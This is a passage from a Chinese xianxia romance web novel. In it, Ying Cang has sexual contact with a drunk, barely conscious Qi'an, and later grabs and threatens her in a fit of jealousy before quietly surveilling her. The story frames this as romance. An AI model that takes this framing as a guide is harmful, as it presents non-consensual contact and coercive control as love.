祈安作为众人关注的焦点,被师兄们轮番敬酒。她本就好胜,来者不拒,一杯接一杯下肚。起初还眼神清亮地与人斗嘴玩笑,渐渐地,那双眸子便蒙上了一层水漾漾的
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雾气,反应也慢半拍,托着腮,吃吃地傻笑,显然是醉了。
易为春想拦,却被蔺远勾住脖子灌酒。宿清风早已趴在一旁,抱着空酒坛念叨着“祈安姐姐”。
就连一向冷清的应苍,也被这热闹裹挟着,默默饮了几杯,烛光下,他冷白的肤色透出极淡的绯红。
宴席终了,已是深夜。
众人七歪八倒,各自搀扶着回房歇息。
祈安酒品不差,哪怕此时已经昏沉的不成样子,但还是保持着身形直挺,一定要看着大家都回了房后,才跌跌撞撞地回到自己房间。
进去之后,几乎是沾床就陷入了沉睡。
喧嚣的院子总算歇息了,万籁俱寂,唯有月光透过窗棂,洒下一地银辉。
祈安睡得并不安稳。梦中似乎还在追逐着什么,眉头微蹙,口中无意识地呢喃。她忽地坐起身,掀开被子,赤着脚,摇摇晃晃地下了床,凭着一种模糊的本能,推开房门,走入夜风中。
廊下的灯笼静静亮着,将她纤细的身影拉长。祈安在应苍门前站定,毫不迟疑地推开了它。
屋内没有点灯,只有月光勾勒出床边一个清瘦挺拔的身影——应苍并未入睡,只是静坐调息。
门被推开的刹那,他骤然睁眼,锐利的目光在触及那个踉跄闯入的身影时,瞬间化为错愕与一丝不易察觉的紧绷。
“阿祈?”他低声唤道,声音在寂静里显得格外低沉。
只有在夜间,他才能这么唤她。
祈安毫无反应,只是循着那点熟悉的气息,一步步走近。她身上还带着淡淡的酒气,混合着她本身荔枝的甜香,朝应苍扑来。
应苍下意识想起身,却被她先一步动作——她走到床边,身子一软,竟直接挨着他坐了下来,然后...一头栽倒在他腿上。
柔软的发顶蹭过他的腰腹,温热的脸颊隔着薄薄的寝衣,贴在他的腿侧。均匀却带着酒香的呼吸,丝丝缕缕地熨烫着他,带来一阵战栗般的痒意。
应苍喉头微动,垂眸看着膝头上那张毫无防备的睡颜。长睫如蝶翼般垂下,在眼下投出浅浅的阴影,醉后的红晕染在腮边,比平日里多了几分娇憨与媚意。她的唇无意识地微微张着,润泽柔软。
在酒意的催动下,空气中仿佛有什么东西被点燃,无声地噼啪作响,温度悄然攀升。
他想将她推开,手臂却沉重得抬不起来。
“应苍...”祈安忽然在梦中呓语,声音又软又糯,像带着小钩子。
这声模糊的呼唤,像一道细微的电流,瞬间击中了应苍的心脏。他眸光暗沉如夜,深处翻涌着某种压抑已久、几乎要破笼而出的情绪。
他终是缓缓抬起手,指尖带着一丝不易察觉的轻颤,轻轻拂开她颊边散落的发丝。指腹不可避免地触碰到她细腻滚烫的肌肤,那触感让他指尖微麻,流窜至四肢百骸。
应苍的动作极轻,却还是惊动了祈安。
她扑扇地睁开眼眸,昏沉中看到一个朦胧的身影。祈安抬手,指腹间一阵微凉,她双手在应苍脸上轻抚着:
“应苍...你怎么来我房间了?”
41.夜来香
祈安只觉得头昏沉得厉害,朦胧之间好似看到了应苍的脸,一时分不清楚现实和梦境。她眼眸半睁,蒙着一层氤氲的水汽,完全没意识到,此刻身处何方,又是以怎样一种亲密又危险的姿势依偎着应苍。
“你没睡觉吗?”
祈安的声音含混软糯,就像在撒娇一般。
应苍试图压下胸腔里那股几乎要破笼而出的躁动,抓住祈安在他脸上作乱的手,指尖刚一触及她腕间细腻的肌肤,心头又是一颤。
“这里是我的房间。”
应苍低声回答,声音在夜色的笼盖下显得格外沙哑低沉。
“你的房间?”祈安歪着头,努力思考着,但醉酒的脑子如同一团浆糊,“哦...那我...走错了?”
她说着,竟挣扎着想从他腿上起来,但浑身软绵绵使不上力,反而更深地陷进他怀里,额头不经意蹭过他的下颌。
碎发轻轻擦过,蹭得应苍痒痒的。祈安呼出的热气侵蚀着应苍的理智,夹杂着零星的叮咛,如同星火落入干柴一般,撩拨着他的意志。
在酒精的作用下,应苍的下身化出了龙尾。
应苍隐隐察觉出,他对于祈安的忍耐力,正逐渐降低着。
龙尾鳞片坚硬,祈安坐在上面,硌得有些痛。她试着调整身体的位置,脚底一软,险些滑落。
应苍的手臂下意识地收紧,箍住了她纤细的腰肢。两人之间的距离瞬间被压缩到极致,祈安整个人几乎嵌在他的怀抱中。
他清晰地感受到胸前的柔软和温热的体温。
“嗯...”许是祈安觉得这个姿势不太舒服,在应苍怀里轻轻扭动了一下。
只这一下,却让应苍瞬间绷紧了全身的肌肉。某种尖锐而汹涌的渴望猛地窜起,冲击着他引以为傲的自制力。他闭上眼,深吸了一口气,再睁开时,眼底已是深不见底的幽暗漩涡,翻涌着挣扎与欲念。
“别动...”应苍从齿缝间挤出两个字,声音哑得厉害,带着一丝难以察觉的恳求。
祈安似乎听懂了,真的安静下来,甚至还将脑袋四处蹭蹭,正好枕在他的肩窝处,找到一个更舒适的位置,发出了一声满足的、像小动物般的轻哼。
应苍的目光凝她近在咫尺的恬静睡颜,一种前所未有的柔软情绪,夹杂着汹涌的欲望和极致的克制,在他心间疯狂冲撞。
他从未与人如此亲近过,也从未想过,有朝一日,会有人以这样一种全然信任、毫无防备的姿态,闯入他的私人领域。
蔺远在宴席上的话再次回响在耳边——“喜欢我们安安的,另有其人”。
当时的他心弦绷紧,竟生出几分连自己都未曾预料到的紧张。直到听到宿清风的名字,那紧绷的情绪才骤然一松,随之而来的却是更深沉的落寞与自嘲。
他好像确实还不如那个小孩子,爱意表现得汹涌猖狂,人尽皆知。自己唯一比过他的一点,似乎只剩相识早一些罢了。
但,那又有何用。
月光如水,怀中人呼吸均匀,仿佛已经重新沉入梦乡。
应苍正置身于一场前所未有的煎熬之中。他的指尖微微颤抖,几乎是用尽了全部的意志力,才克制住自己没有低头去触碰那近在咫尺的、泛着诱人光泽的唇瓣。
只是缓缓地、极其小心翼翼地,将下颌轻轻抵在她的发顶,感受着那柔软的触感和淡淡的发香。
他就这样抱着她,一动不动,仿佛一尊沉默的雕像,唯有胸腔内剧烈的心跳声,震耳欲聋,泄露着他内心的惊涛骇浪。
时间悄然流逝,月影微微西斜。
应苍保持着这个姿势,任由各种情绪在体内奔流冲撞。待自己渐渐平息后,才小心翼翼地活动着身体,试图将祈安抱起,平放在床上,让她睡得更舒坦一些。
然而,就在他动作的瞬间,祈安似乎被惊扰了,她不满地蹙起眉,无意识地呢喃:“冷...”
说着,手臂又环上了他的脖颈,往深处钻了钻。
应苍停下了动作,她柔软的手臂环住他的触感,清晰得如同烙铁,烫得他灵魂都在战栗。所有的理智、所有的克制,在这一刻,全都决堤。
他本来就不是什么好人,又何必硬装呢?
应苍自嘲地笑笑,几乎是一瞬间变换了动作,手臂再次回收,将祈安更深地按向自己,两人的身体严丝合缝地紧贴在一起。他低下头,温热的呼吸喷洒在她的耳廓,声音低沉而危险,带着一丝-诱哄:“...还冷吗?”
怀里的人似乎真的感受到了热量,轻轻摇了摇头。
应苍的眸色深得吓人。那声近乎满足的轻哼,那个全然依赖于他的环抱,像最后一丝火星,彻底引燃了他苦苦压抑的所有渴望。理智的堤坝轰然倒塌,汹涌的浪潮瞬间将他吞没。
“是你自己...不肯走的。”他低哑的嗓音碾碎在两人之间几乎不存在的缝隙里,带着一种认命般的放纵和危险的温柔。
应苍将祈安放在床上,龙尾同时也攀上了她的腰肢。
湿凉的尾巴在祈安身上扫过,冰凉的、坚硬的鳞片与她温热柔软的肌肤形成鲜明对比,昏睡中的祈安无意识地瑟缩了一下,伸手抓住了尾巴尖。
这更如同火上浇油。
应苍低下头,鼻尖轻蹭过她的耳廓,呼吸灼热:“阿祈...”
他的吻带着滚烫的温度和不容拒绝的强势,落在她的耳垂,沿着颈侧细腻的肌肤一路向下,留下湿润而灼热的轨迹。每一处触碰,都引得怀中的人儿细微的颤抖,像风中瑟缩的花蕊。
祈安在梦中发出模糊的呜咽,双手无力地搭在应苍的肩头,非但没能推开,反而更像是一种无言的邀请。
龙尾的缠绕越来越有侵略性,那布满坚硬鳞片的尾巴缓缓游移,以近乎亵玩的意味,滑过她纤细的脊背。
祈安有些醒了,她只感觉到一股不轻不重的力道隔着单薄的寝衣传来,带来一阵阵奇异的、混合着微痛的酥麻。
“嗯……”
她的眉头蹙紧,身
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体本能地微微扭动,却只是让自己更深地陷入龙尾与怀抱构筑的牢笼之中。
应苍的眼神幽深,一只手牢牢固定着祈安的身体,另一只手则抚上她的脸颊,拇指带着不容置疑的力道,轻轻擦过她微微张开的、润泽的唇瓣。
那柔软的触感令他最后的克制也化为乌有。
他猛地低头,攫取了那两片他渴望已久的柔软,强势、深入,不容拒绝,仿佛要借此确认她的存在,宣泄所有积压的、连自己都未曾看清的浓烈情感。
祈安在窒息般的亲吻中发出细弱的呻吟,缺氧和酒精让她更加昏沉,身体软得如同一滩春水,只能任由对方予取予求。
龙尾的鳞片在她细腻的肌肤上留下清晰的压痕,有些地方泛起了红痕。
应苍的吻逐渐变得绵长而细致,从唇瓣到下颌,再到脆弱的脖颈,留下一个个暧昧的、若隐若现的印记。
月光沉默地照耀着室内纠缠的身影,不知过了多久,应苍的动作才渐渐缓了下来,汹涌的浪潮逐渐退去,理智慢慢回笼。
他看着身下衣衫凌乱的祈安,唇瓣红肿,肌肤上遍布着龙尾勒出的淡淡红痕,颓废地躺在祈安身旁,望着空荡荡的木屋顶,眼里神色不明。
有餍足,有懊悔,有一股几乎将他淹没的自我厌弃。
应苍不准备将祈安送回房间了,他平静地躺在床上,暗自想着:
明日不管发生什么,他照单全收。
*
祈安是在一阵强烈的头痛中醒来的,睁眼后映入眼帘的是陌生的床顶帷幔,以及……横亘在她腰间、那条布满幽暗鳞片的...龙尾!
昨晚模糊的记忆碎片如同潮水般瞬间涌入脑海:冰冷的鳞片游移,灼热的亲吻,强硬的禁锢,令人战栗的抚摸,以及那种被彻底占有、淹没在陌生浪潮中的极致感觉……
昨晚她...
祈安僵硬地转过头,果然看到了应苍的脸,睡得正香。她没有分毫犹豫,立刻拢紧衣襟,强忍着身体的不适和头脑的昏沉,踮着脚尖,做贼一般地溜回了自己的房间。
应苍一觉睡到将近午时,胳膊惯性一搂,却扑了个空。他猛地起身,看着身侧空荡荡的床铺,以及屋内残留的淡淡馨香,眼神晦暗不明。
就这样走了吗?
甚至没有叫醒他质问一句。
应苍的唇角勾起一抹自嘲的弧度。果然,还是吓到她了。
玄色的寝衣衬得他肤色愈发冷白,他原本做好了承受一切的准备,却没料到她会选择这样无声无息地逃离,仿佛昨夜的一切于她而言,只是一场亟待摆脱的噩梦。
但有些事,发生了就是发生了,逃避解决不了任何问题。
应苍眼神一凝,迅速换好衣物,甚至顾不上仔细束发,便径直推开房门走了出去,恰好碰上了刚出门的祈安。
祈安一看到应苍,几乎是下意识地转身,可身后的人似乎不想如她所愿,直接扯住了她的胳膊:
“阿祈,我们谈谈。”
42.纠结事
祈安根本不想和应苍谈,甚至连应苍这个人暂时都不想看到。
她手腕用力,想将应苍甩开,却发现他握得紧,只能生硬地说道:“松开。”
“我们聊聊。”应苍还是坚持。
祈安道:“松开,没什么好说的。”
应苍第一次见她的神色如此坚决,心底一慌,抓得更紧了:“为什么?”
为什么?
祈安心里一阵苦笑。
有什么好聊的呢?难道要和他说,自己觉得因为再一次发生这种荒唐的行为而感到不齿吗?要和他说,自己因为和一个毫无关系的男人再次睡在一张床上做那种事感到不适吗?要和他理论,昨晚到底是谁越界谁的过错更大一些吗?
这些她此时此刻通通不想说。她很想再当一次成年人把这件事情揭过去,但是生理的本能告诉她这样做不到。
她连自己都没有思考清楚,又怎么能和应苍说明白呢?
“没有为什么,我就是不想沟通。”祈安满脸疲态,“应苍,我很累了,可以让我回去休息吗?如果我想清楚了,会找你的,可以吗?”
最后几句话,祈安近乎以一种哀求的口吻说着。
应苍看着祈安苍白的脸,那双总是盛满笑意的眸子此刻写满了疲惫、抗拒,像一根冰冷的针,细细密密地扎进他心里。他握着祈安手腕的手指,下意识地松了力道。
就是这片刻的松动,祈安立即抽回了自己的手,她甚至没有再看应苍一眼,迅速转身,几乎是逃离般地冲回了自己的房间,“砰”地一声重重关上了房门。
应苍僵立在原地,望着那扇紧闭的房门,手还维持着半握的姿势,指尖却只余下一片湿凉的空气。
祈安把脸深深埋入膝盖,身体无法控制地轻微颤抖。
为什么会变成这样?
她一次次问自己,却始终寻不到答案。
用情绪解决问题,是最下策。她明明知道,却毫不犹豫地选择了这种方式。
上次和他睡,可以归结为合欢丸药物作用,应苍为了救自己,不得已而为之。
可这次呢?
原因归结于自己酒品差、酒后乱性吗?可他明明没喝多少,为什么不拒绝呢?
而她呢?她在那其中,又扮演了什么角色?是否有过哪怕一刻的沉溺和迎合?
这个念头让她感到无比恐慌和自我厌恶。
祈安陷入了巨大的泥潭里。
她时而羞耻于自己的行为,觉得自己不应该在酒后乱闯别人房间“投怀送抱”。
时而痛恨于应苍的做法,觉得他不应该顺着自己的行为、糊里糊涂地睡一觉。
男人难道真的可以和别人随便睡觉吗?不管那人他是否熟识,两人是什么关系,都可以随便睡觉吗?
祈安觉得自己心被攥住了一般,不上不下。胸腔里有口气总是提不起来,就像是坐着孤舟飘荡在海上一般,荡荡悠悠,抓不住任何可以帮助她登岸的东西。
为什么会变成这样?
明明昨天还是热闹的春节,还是欢声笑语的团圆饭,怎么一夜之间,一切都变得如此糟糕透顶,如此难以面对。
身体的酸痛无处不在,提醒着她昨夜发生的荒唐与失控。那些模糊又炙热的记忆碎片不受控制地涌现,龙尾冰冷的触感,唇瓣被碾磨的微痛,还有那种被完全掌控、被迫沉沦的陌生快感,每一种感觉都让她感到无比的羞耻和恐慌。
她和应苍之间,那层勉强维持的平静假象,被昨夜彻底撕得粉碎,露出了底下狰狞而尴尬的真相。
她不知道以后该如何面对他。是同门?是朋友?还是有了肌肤之亲的......陌生人?
每一种关系都显得如此可笑而讽刺。
祈安牵强的扯出一抹微笑。她不想再继续思考下去了,先睡一觉吧,可能睡一觉一切又恢复了。
应苍仍在外面站着。
他站了许久,久到院里的树荫都变换了角度。可那房间里再无任何声息传出,寂静得让人心慌。
昨晚还振振有词,无论发生什么,他都照单全收。
可今天仅仅这样,自己就无法承受了。
最终,应苍缓缓垂下眼睫,沉默地走了。
*
接下来的几天,落霞宫的气氛变得极其微妙。
春节的热闹氛围迅速冷却下来。
祈安将自己关在房间里,几乎足不出户。借口是宿醉后身体不适,需要静养。易为春和宿清风等人来看过她几次,都被她以精神不济为由挡在了门外。
只有她自己知道,她害怕遇到应苍。
她知道,应苍每日都来。
这几日祈安睡眠并不多,天不亮就会醒来。几乎她醒来没多久,隔壁就会传来门开合的声音。
有次她透过窗棂的缝隙,看到应苍沉默地站在院外的树下。脸上没什么情绪,只是安静地立在那里。
等天大亮之后,应苍就会离开。
祈安再次听到隔壁门的开合声,知道应苍已经回去了,心又不受控制地坠了下去。
这样又持续了好几天,祈安觉得再这样下去,身体恐怕会出问题。不光如此,这几日也没有直播,寿元也不知道扣了多少。
她本来也不属于这里,也总会回去,没必要为了一个生命里并不重要的人而影响自己。
要改变!
祈安对自己说。
在一个早晨,她起了个大早,特意把一直散着的头发扎起,换上一身干练的服饰。
祈安和易为春相约今天要去练剑。
拉开门时,应苍正站在外面。
他没想到会遇到祈安。
应苍全身像是有电流划过一般,浑身酥酥麻麻的。脚下挪不动步子,嘴角只是掀了掀,却半句话都没说出来。
祈安瘦了,整个人瘦了一大圈。
衣服松松垮垮的,风轻易地就藏了进去。
应苍心里一揪,他把这一切的变化都归结于自己。
祈安也看到了应苍,但也仅限于看到。只匆匆一眼,就撇开视线,往外走去。
直到走出了院子,也没听到身后的人叫住她。
原本还期待的心再次落了下去。
果然,就不应该对任何人抱有幻想。
祈安开始了新一年练剑的日子。她以近乎变
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态的标准来要求自己,一招一式,力求精准,灵力耗尽了便打坐恢复,恢复了便继续练。汗水浸透衣衫,手臂酸痛得几乎抬不起来,她却恍若未觉。
仿佛只有这种身体上的极致疲惫,才能暂时麻痹那颗混乱不堪的心。
她知道自己在较劲,但还是没想明白为什么较劲。哪怕那件事错全在她,也过去那么久了,为何还扯着不放呢?
祈安不懂,她不懂时,就只会练剑。
另一边的应苍,状态也肉眼可见地糟糕下去。
他更加沉默阴郁,几乎不与人交流。
偶尔有人从他门前路过,会看到那里歪斜地摆着几个空酒坛。
应苍知道祈安每日都和易为春在一起,他经常在山顶一坐就是一天。那里刚好可以看到祈安和易为春练剑的样子,等他们走后,应苍一人在山顶喝酒。
酒液入喉,辛辣苦涩。脑海里时常闪回祈安的身影。
呵。
两人看上去,格外般配。
*
这日晚间,祈安又一次练剑到深夜,才拖着疲惫不堪的身体回到落霞宫内。
远远地,便看到自己门口倚着一个模糊的黑影。
她的心猛地一紧,脚步下意识地顿住。
是应苍。
他似乎是喝醉了,衣衫在冬夜里显得单薄了些。身后墙壁上还挂着未化的雪,他就那样直直地靠上去。微垂着头,墨色的发丝有些凌乱地垂落,遮住了他大半神情。一向挺拔如松的身姿此刻显得有些垮塌,透着一股浓重的、从未有过的颓败感。
这样会感冒的。
祈安有些惊讶,自己第一反应,竟然是担心他的身体。
看来,还是没有吸取教训。
祈安自嘲地笑笑,压下心头翻涌的复杂情绪,路过应苍身旁,目不斜视地走了过去。
就在她指尖即将触到门扉时,身后传来了脚步声。光听着声音,就知道这几步路走得东倒西歪,七零八落。
在她分神的时候,一只冰冷的手猛地攥住了她的手腕。
力道极大,攥得她生疼。
祈安浑身一僵,猛地回头,对上了一双抬起的眼眸。
这是自上次后,她第一次如此近距离地看着应苍。
他的脸颊也消瘦了,轮廓更显锋利,薄唇微启,透着些酒气。那双本该透着孤傲的双眸,此刻却布满了血丝。眼下是浓重的青黑,像是许久没有睡一个好觉了。
“阿祈...”应苍声音沙哑得厉害,带着浓重的酒意,混杂着一丝丝说不清道不明的哽咽。
祈安心头一颤,这个称呼让她再次回忆起了那晚的事情。
粗重的呼吸声仿佛就在耳边,祈安开始唾弃自己,为何在此刻还要想起那些旖旎的画面。
她尽可能地让自己的语气表现得平静:“有事?”
应苍那双眼睛一直盯着她看,视线烫得她脸直发热。
“你和易为春...”
应苍本想继续说下去,但对着祈安的眼睛怎么也开不了口。
他叹口气,认命一般地阖上双眼,颤声问道:“你和易为春...是在一起了吗?”
43.欲疯魔
祈安的心猛地一沉,像是坠入冰窖。
他为什么会得出这样的结论?简直是荒诞无比。
祈安除了冷笑,再无其他反应。
应苍见祈安没有回话,便认为自己的猜想没有错。他嗜血般地舔了舔嘴角,非要听祈安亲口承认:
“阿祈,告诉我,你们是不是在一起了?”
祈安看着应苍,只觉得眼前的人陌生得令她害怕。
她还是头一次,在他脸上看到如此阴郁的神情。
原书里对应苍的描绘立刻涌上心头——狠戾、阴毒,杀人如麻。
祈安突然意识到,也许站在自己面前的,底色还是那个被世人憎恶的反派。
她想抽出手,却被他更用力地攥住,腕骨几乎要被钳断。
“说呀,”应苍笑容扭曲,毫无温度可言,眼底的疯狂几乎要溢出来,“你们是在一起了,对吗?”
每一个字句,都带着蛮横的审判意味。
应苍的状态激起了祈安自我保护意识,她清晰地感觉到了危险。
“放手!”祈安厉声道,试图用强势掩盖慌乱,“我和谁在一起,与你何干?你发什么疯!”
“与我何干?”应苍低低地笑了起来,笑声沙哑而破碎,却透着一股子的危险。他猛地逼近一步,将祈安死死困在门板与前,“你问我与我何干?”
他的另一只手突然抬起,猛地一拳砸在祈安耳边的门板上!
“砰”的一声巨响,木屑微溅,有一些落在了祈安脸上,细小的疼痛在这夜里被无限放大。祈安吓得浑身一颤,心脏狂跳。
“你忘了?”他几乎是贴着她的耳朵,嘶哑低语,“你忘了是谁在你身上?忘了是谁抱着你?忘了那晚我们是怎么样度过的吗?”
最后几个字,他几乎是失控地低吼出来,血红的眼睛死死锁着祈安。
“你滚!”祈安被这几句深深刺痛了。
她没忘,一点都没忘。
身体也没忘。
身上的那些青紫痕迹,到今天都还没完全消除。她试过很多灵药,可似乎一点都不起效。
应苍猛地掐住她的下巴,力道大得让祈安痛呼出声。
祈安不得不看着他的眼睛。
应苍冷笑道:“我以为我可以不在意的。一直以来我都是自己一个人,早就习惯了。但我只要一想到你和别人在一起,我就难以接受。”
“我恨不得毁了一切。”
“包括你。”
应苍在祈安耳边轻声说着这三个字,明显感到怀里的人身子瑟缩了一下。看着她脸上的惊恐和泪痕,应苍恍惚间觉得心脏抽疼了一下,语气不自觉缓了缓:
“告诉我...阿祈,求你...”
下一瞬,他的语气又骤然变得极度危险,带着威胁的意味:“否则,我不知道自己会做出什么。”
两人距离隔得很近,祈安把他眼底的猩红看得一清二楚。
那是一种完全失控的、病态的偏执。仿佛只要她说出“是”字,下一秒应苍就会彻底崩溃,拉着所有人一起下地狱。
祈安真的害怕了。
她从未见过这样的应苍,疯狂、危险、脆弱、偏执,像一根绷紧到极致、即将断裂的弦。
在这种极致的、带有毁灭气息的压迫下,祈安知道,如果不给他一个答案,今晚可能真的无法收场。
一种深深的无力感和一丝难以言喻的、被如此强烈需要着的战栗感攫住了她。
她闭上眼,长长的睫毛剧烈颤抖,再睁开时,里面只剩下疲惫和一丝妥协后的空洞。
“没有...”她听到自己的声音干涩地响起,“我们只是在练剑。”
在她答案说出的瞬间,祈安立马感受到周身那令人窒息的压力潮水般退去。
掐着她下巴的手猛地松开,转而用一种近乎病态的力度轻柔抚过那红痕,仿佛后悔方才的粗暴。攥着她手腕的力量也松懈了,但手指仍停在她的手腕处。
一点点,一点点地揉弄着。
应苍胸膛开始距离地起伏,眼中的疯狂血色还没退却,但已经染上了那抹失而复得的、近乎虚脱的茫然。
他忽然低下头,将额头重重抵在祈安的肩膀上,整个人都在发抖。像是终于找到了宣泄口,所有的疯狂、偏执、痛苦和爱意混杂在一起,张口在祈安的颈窝咬了下去。
力道不大,但颈边是人体最脆弱的地方,祈安还是感觉到了疼痛。
好在这一口持续的时间不长,应苍很快松了力道,转为将整张脸埋在她颈边,粗重地呼吸着。
祈安僵在原地,一动不敢动。手腕和下巴还在隐隐作痛,肩膀上是他沉重而颤抖的依靠。她心里乱成一团麻,有恐惧,有后怕,有一丝可耻的心软,更有一种强烈的预感——有些事情,一旦开始,就再也回不去了。
她挣脱开他的束缚,这一次,应苍没有再强留,只是用那双刚刚褪去疯狂的眼睛,此刻正死死地盯着她。
偏执中,又盖着一层水润。
呵,这副湿漉漉的样子,真的与刚才是截然相反的两人啊。
“我可以走了吗?”祈安累极了,她只想赶快离开应苍,连声音里都带了些讨好的味道。
应苍缓缓直起身,脸上露出一抹异常乖顺的笑容,却更让人心底发寒。
“好。”他轻声说。
祈安立马推门进去,即便是背对着应苍,也能感受到他的眼神依旧黏在自己身上,带着一种病态的贪婪和满足。
她几乎是逃也似地冲进房间,重重关上门,背靠着门板剧烈喘息。
门外,许久没有离开的脚步声。
只有一声极度压抑的、仿佛裹挟着无尽痛苦和极致欢愉的叹息,轻轻落在寂静的夜里。
*
这一夜,祈安强迫自己不去细想,她现在所要做的,就是变强大。
应苍既是凌阳,他的功力远在自己之上。如果想要把自己杀掉,和捏死一只蚂蚁一样简单。
她如今唯一能赌的,就是他对自己那点晦暗不明、却异常执着的“情感”,赌这能成为她暂时的护身符。
她要利用这喘息之机,提升实力,在昆仑试炼中搏一个名次,换
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取更多的资本。
她是这么想的,也是这么做的。
第二日醒来,祈安将所有情绪死死压入心底,面上波澜不惊。
依旧早起,依旧练剑。
依旧无视应苍。
但应苍,却变得和之前不一样了。
那夜门口几乎要毁灭一切的疯狂偏执,收敛得无影无踪。
他不再用言语纠缠,不再用那种令人窒息的目光紧迫盯人,甚至不再总是出现在她视线可及的范围内。
但他的存在感非但没有减弱,反而渗透进祈安生活的每一个缝隙。
经常练剑的地方,那块祈安总坐着休息的青石,每日都被打扫得干干净净,上面放着一块叠得整整齐齐、散发着阳光味道的软布。
夜里回房时,她发现自己门前那几株半死不活的灵植,不知何时起变得郁郁葱葱,生机勃勃,显然是被人用精纯的灵力日夜温养灌溉。整个院子里,就数这几颗长得最好。
应苍仿佛能提前预知她所有的细微需求,并悄无声息地为她打点好一切。
但祈安依旧不领情,她没给过应苍任何反馈。
这日,祈安练剑时或许是急于求成,灵力运转过疾,收势时只觉得胸口气血微微一岔,喉头涌上一丝极淡的腥甜。她迅速咽下,调整呼吸,并未太过在意,只以为是寻常的损耗。拖着疲惫的步伐回到落霞宫,推开房门,却微微一怔。
房间中央的小桌上,不知何时多了一个小巧的玉鼎。鼎身雕刻着繁复的符文,正丝丝缕缕地散发着白色雾气。
那雾气带着一种温润蓬勃的生机,吸入一口,便觉胸腹间那点因灵力岔乱而产生的滞涩感瞬间舒缓了大半,连带着疲惫的精神都为之一振。
祈安走上前,见玉鼎旁放着一枚薄薄的玉简。
她指尖轻触玉简,一行凌厉的小字浮现而出:
“凝碧鼎,可梳理紊乱灵力,温养经脉。置于房中即可,无需催动。”
没有署名。
但除了他,不会有别人。
祈安后背爬上了一丝冷意。
他到底在多远的地方注视着自己?这种毫无察觉的关注才让人害怕。
祈安觉得自己就像是缸里被观赏的鱼一般,被人类轻佻地观看着。
饿了喂点食物,冷了加点温度。
也仅此而已。
她站在原地,看着那袅袅的白雾,仿佛看到了应苍那双沉默却洞悉一切的眼睛。
他正用这种她无法拒绝、无法指责的方式,一寸寸地侵占她的空间,渗透她的生活,让她无所遁形,也让她习惯他的存在。
她缓缓握紧了拳,但随后松开了。
他若是喜欢这样,那就继续这样做吧。
既然不能阻止,还不如好好享受。
祈安心安理得地坐在了桌前,吐纳着玉鼎透出的雾气。很快身体里的滞涩感消失了,她安心地睡着了。
但在那天后,应苍好像突然消失了一般,好几天祈安都没发现他的痕迹。
清虚把她叫了过去,沉默半晌说道:“应苍走了。”
44.地宫内
走了。
听到这两个字的祈安心里一颤,好似被一根钝木棒刺穿心脏一般。
她木讷地站在原地,只觉得顷刻间血液都往一处涌,四肢变得冰凉又麻木。
怎么会这么突然...
尽管两人之间还有些误会,可毕竟应苍是她在这修真界深入接触的第一个人,两人也在这落霞宫做了大半年的邻居,还发生了...
祈安心突然跳动得厉害,呼吸开始不顺,一股莫名的哀伤涌了上来。
她分不清楚这哀伤的原因,只想痛苦一场。
许久没出现的症状又开始反复了。
可是她现在身边并没有药。
祈安试着调节自己的呼吸,尽可能地让灵力在周身运作。
冷静,一定要冷静。
“师父,”祈安忍着话里的颤意,“应苍他现在在哪?”
清虚双眼疑惑:“应苍已经走了。”
祈安:“我是说,他的尸体在哪?”
清虚被祈安这没头没脑的一句问得一愣,随即失笑:“尸体?他又没死。”
祈安混乱的思绪猛地一滞,她抬起有些茫然的脸,看向清虚:“师父你说的走...难道不是他...”
清虚摆摆手:“他只是从落霞宫离开了,并非道陨。”
祈安胸腔里那股濒临窒息的感觉刹那间褪去。
没死就好。
她长舒一口气,大滴的泪砸下来。哪怕过去了三年,祈安还是没有学会接受身边的人突然的离开。
“我看平日里应苍与你相交甚好,便将此事告知于你。”清虚说道,“他没和任何人说,为师也是猜测。”
我两没有甚好。
这句话祈安只在心里想想,没说出来。她闷闷地应了一声,情绪还没完全抽离,有些心不在焉。
从清虚那里离开后,祈安不知不觉间路过了应苍的屋子。房门紧闭,一切都像平常那样。
什么时候离开的呢?
祈安望着那房间出神,猛地想到自己之前把来财给了他养。
“来财。”祈安急忙推开门。
屋里陈设依旧,没什么变化。
来财被放在桌子上,正翻着肚皮躺着。
听到门响,立刻叫嚷起来:“你个臭小子终于回来了,老夫差点以为你死了。有吃的吗?”
“来财?你在和谁说话?”
来财听到声音后,连忙翻身起来,看到进来的是祈安,龟脸一红。还好有皮肤帮他遮挡一下,看不出什么来:“是你啊。”
来财哂笑。
“你以为是谁。”
“应苍啊。”
“应苍走了。”
“走了?”来财显然也没料到是这个结果,他惊得脖子伸长,“去哪了?”
祈安没作声,只是摇摇头。
“难怪这臭小子三天都没回来了。”
三天?那不就是送完凝碧鼎就走了吗?
她将来财放在手心,点了点它的龟壳:“你和应苍很熟?”
来财被这话问得心头一虚,它可不敢告诉祈安早在几千年前自己就和应苍父母相识了。故意打着哈哈:“没有和你熟,嘿嘿,嘿嘿。”
它一面笑,一面看祈安的反应。
好在祈安有些走神,也没有细究它到底说了些什么,又扫了几眼房间,带上门离开了。
*
应苍此时正在数千里外一处地宫里。
他靠坐在一块断裂的石柱旁,玄色衣袍上全是血色。急促地喘息着,手臂上有道深得看得到骨头的伤口。
应苍身旁立着一人。
那人身形清瘦,穿着一身深色布衣,料子普通,却浆洗得十分干净。
看上去约莫中年,眼角与额际刻着细密的纹路。此刻,他微蹙着眉,目光落在应苍不断渗血的伤口上,担忧清晰可见。
应苍看他满脸忧愁,笑笑宽慰道:“凌大哥,我没事”
凌渊眉一横:“伤成这样还说没事,这可是赤魄刀的伤口。以后这种事情你不要去了,我替你去。这次要不是那遁迹符...”
“凌大哥,”应苍摇摇头,声音虚弱,缓缓开口,“我心中有数。只是赤魄刀认主,你去恐怕伤得更重。”
数月前在古洞里应苍发现了赤魄刀的踪影,凌渊开始需要处理一些事情,没能立即和他汇合。
几日前凌渊事情刚好处理完,两人约定一同去取赤魄。
凌渊在洞外探查,应苍凭着记忆找到当初发现刀的地方。
没想到这赤魄刀外设的法阵远超预料,应苍一人堪堪抵挡,但在拔出刀的瞬间,还是免不了受了伤。
应苍担心直接回到落霞宫可能会让自己行踪暴露,只得用遁迹符逃到曾经苍龙族的废弃的地宫中。
凌渊看着应苍苍白的脸色,未再多言,只是无声地叹了口气。他上前一步,从怀中取出一个药瓶,倒出两粒莹润的丹药:“先服下,稳住心脉。赤魄的伤你也知道,没什么灵药,只能慢慢恢复。”
应苍接过服下,药力化开,眉宇间的痛楚稍缓。
地宫陷入寂静。
良久后,应苍开口询问:“凌大哥,你听过清虚这号人物吗?”
“清虚?”凌渊想了许久,摇摇头,“没听过。”
“他是落霞宫宗主。”应苍把自己的身子撑起来,“这遁迹符就是他给我的,但他只有金丹修为。”
